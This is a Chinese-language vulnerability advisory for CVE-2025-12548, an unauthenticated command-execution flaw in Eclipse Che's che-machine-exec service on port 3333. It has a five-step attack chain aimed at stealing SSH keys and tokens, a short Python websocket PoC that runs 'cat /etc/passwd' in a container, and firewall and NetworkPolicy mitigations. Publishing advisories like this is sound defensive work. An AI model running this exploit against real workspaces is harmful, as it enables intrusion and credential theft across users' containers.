CVE-2025-12548 CVSS 9.0 严重

CVE-2025-12548 Eclipse Che che-machine-exec 未授权远程代码执行漏洞

披露日期: 2026-01-13

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-12548

漏洞类型

远程代码执行

CVSS评分

9.0 严重

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Eclipse Che che-machine-exec

漏洞概述

CVE-2025-12548是Eclipse Che che-machine-exec组件中的一个严重安全漏洞，CVSS评分高达9.0（严重级别）。该漏洞允许未经认证的远程攻击者通过TCP端口3333上暴露的未认证JSON-RPC/websocket API，在其他用户的开发者工作区容器中执行任意命令，并窃取敏感信息，包括SSH密钥、API令牌等凭据。由于攻击无需任何认证且可实现容器逃逸和数据窃取，对云原生开发环境构成极高威胁。攻击者可以利用此漏洞完全控制受害者的开发环境，访问源代码、数据库连接信息、云服务凭证等敏感资源，进而对组织造成严重的数据泄露和进一步的攻击。

技术细节

该漏洞存在于Eclipse Che的che-machine-exec服务中，该服务负责在Kubernetes/OpenShift集群中执行用户代码。漏洞根源在于TCP端口3333上暴露的JSON-RPC/websocket API缺少认证和授权检查。攻击者可以通过WebSocket协议连接到该端口，发送精心构造的JSON-RPC请求来执行任意系统命令。由于API未验证请求来源，攻击者可利用此漏洞在共享集群中的其他用户容器内执行命令，从而实现容器间隔离的突破。通过在容器内执行命令，攻击者可以读取环境变量获取敏感凭据，访问挂载的密钥卷（如SSH密钥、registry凭据），甚至通过服务账号令牌访问Kubernetes API进行横向移动或权限提升。

攻击链分析

STEP 1

步骤1

扫描目标服务器，识别TCP端口3333上运行的Eclipse Che che-machine-exec服务

STEP 2

步骤2

通过WebSocket协议连接到目标的3333端口，无需任何认证

STEP 3

步骤3

构造恶意JSON-RPC请求，通过machine.exec方法在目标容器中执行系统命令

STEP 4

步骤4

利用命令执行能力读取敏感文件，如SSH密钥、API令牌、环境变量等

STEP 5

步骤5

使用窃取的凭据进行横向移动或持久化访问，如通过Kubernetes API获取更多资源

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import websockets
import json
import asyncio

async def exploit(target_ip):
    uri = f"ws://{target_ip}:3333"
    
    async with websockets.connect(uri) as ws:
        # JSON-RPC request to execute command
        payload = {
            "jsonrpc": "2.0",
            "method": "machine.exec",
            "params": {
                "machineName": "test",
                "command": ["cat", "/etc/passwd"],
                "timeout": 30
            },
            "id": 1
        }
        
        await ws.send(json.dumps(payload))
        response = await ws.recv()
        print(f"Command output: {response}")

asyncio.run(exploit("TARGET_IP"))

影响范围

Eclipse Che che-machine-exec < 7.99.0

Eclipse Che 7.x < 7.99.0

防御指南

临时缓解措施

在网络层面通过防火墙或Kubernetes NetworkPolicy限制对TCP端口3333的访问，仅允许必要的管理平面访问。同时建议监控该端口的所有连接尝试，及时发现异常访问行为。在修复版本发布前，可考虑暂时禁用未使用的开发者工作区功能。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表